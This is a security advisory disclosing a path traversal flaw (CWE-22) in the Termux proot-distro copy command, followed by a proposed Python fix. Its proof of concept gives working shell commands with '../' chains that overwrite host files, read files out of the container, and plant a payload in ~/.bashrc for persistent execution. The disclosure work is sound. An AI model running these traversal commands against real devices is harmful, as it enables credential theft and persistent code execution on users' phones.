PT-2026-65343 · Pypi · Proot-Distro

Published

2026-07-17

·

Updated

2026-07-17

CVSS v3.1

6.6

Medium

VectorAV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

Repository

https://github.com/termux/proot-distro
Maintainer: @sylirre

Affected Component

  • Package: proot-distro
  • Affected command: copy
  • Attack surface: Host-side Termux CLI — this is not a guest distro shell issue
  • Vulnerability type: Path Traversal (CWE-22)

Affected Versions

ComponentVersion
proot-distro4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19)
Test distroUbuntu 25.10 "Questing Quokka" (ubuntu alias)
Architectureaarch64
DeviceSamsung A23
Package sourcehttps://packages-cf.termux.dev/apt/termux-main stable/main aarch64

Proof of Concept

All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The .bashrc overwritten during testing was immediately restored.

Step 1 — Setup

rm -rf ~/poc
mkdir -p ~/poc

Step 2 — Arbitrary write (overwrite a file outside the container rootfs)

echo "ORIGINAL" > ~/poc/target.txt
echo "PWNED BY PROOT DISTRO" > ~/poc/evil.txt
proot-distro copy
~/poc/evil.txt
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt"
Observed output:
[*] Source: '/data/data/com.termux/files/home/poc/evil.txt'
[*] Destination: '/data/data/com.termux/files/home/poc/target.txt'
[*] Copying files, this may take a while...
[*] Finished copying files.
Verification:
cat ~/poc/target.txt
→ PWNED BY PROOT DISTRO
This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.

Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)

echo "TOP SECRET" > ~/poc/secret.txt
proot-distro copy
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt"
~/poc/read result.txt
Observed output:
[*] Source: '/data/data/com.termux/files/home/poc/secret.txt'
[*] Destination: '/data/data/com.termux/files/home/poc/read result.txt'
[*] Copying files, this may take a while...
[*] Finished copying files.
Verification:
cat ~/poc/read result.txt
→ TOP SECRET
This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.

Step 4 — Persistent code execution via .bashrc overwrite

printf 'echo VULN TRIGGERED > ~/poc/proof.txt
' > ~/poc/payload.sh
proot-distro copy ~/poc/payload.sh
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc"
Observed output:
[*] Source: '/data/data/com.termux/files/home/poc/payload.sh'
[*] Destination: '/data/data/com.termux/files/home/.bashrc'
[*] Copying files, this may take a while...
[*] Finished copying files.
Verification before restart:
cat ~/.bashrc
→
echo VULN TRIGGERED > ~/poc/proof.txt
After closing and reopening Termux, the new shell sourced .bashrc and executed the payload automatically:
cat ~/poc/proof.txt
→ VULN TRIGGERED
This confirms that attacker-controlled content written into .bashrc executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.

Attack Scenario

The most realistic exploitation path is a confused deputy scenario: a community script, Termux plugin, or automated tool calls proot-distro copy with a path derived from untrusted input. The attacker supplies a crafted container path. The tool resolves it to a host-side location and reads or writes the file without any boundary check. The user sees normal command output and no indication that a file outside the container was touched.
On a real device with SSH keys or stored credentials in the Termux home directory, the read primitive allows silent credential theft. The write primitive to .bashrc allows persistent code execution triggered on next login.

Proposed Fix

After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:
import os
def safe resolve(rootfs, container path):
candidate = os.path.realpath(os.path.join(rootfs, container path.lstrip('/')))
root = os.path.realpath(rootfs)
if candidate != root and not candidate.startswith(root + os.sep):
raise ValueError("path traversal detected: resolved path escapes rootfs")
return candidate
This check must be applied to both the source and destination paths in the copy subcommand.

Additional Notes

  • This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.
  • No root access was used at any point during testing.
  • All test files were self-owned and contained only harmless marker data.
  • The .bashrc overwritten during testing was immediately restored after verification.

Fix

Path traversal

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-22

Related Identifiers

GHSA-MFR4-MQ8W-VMG6

Affected Products

Proot-Distro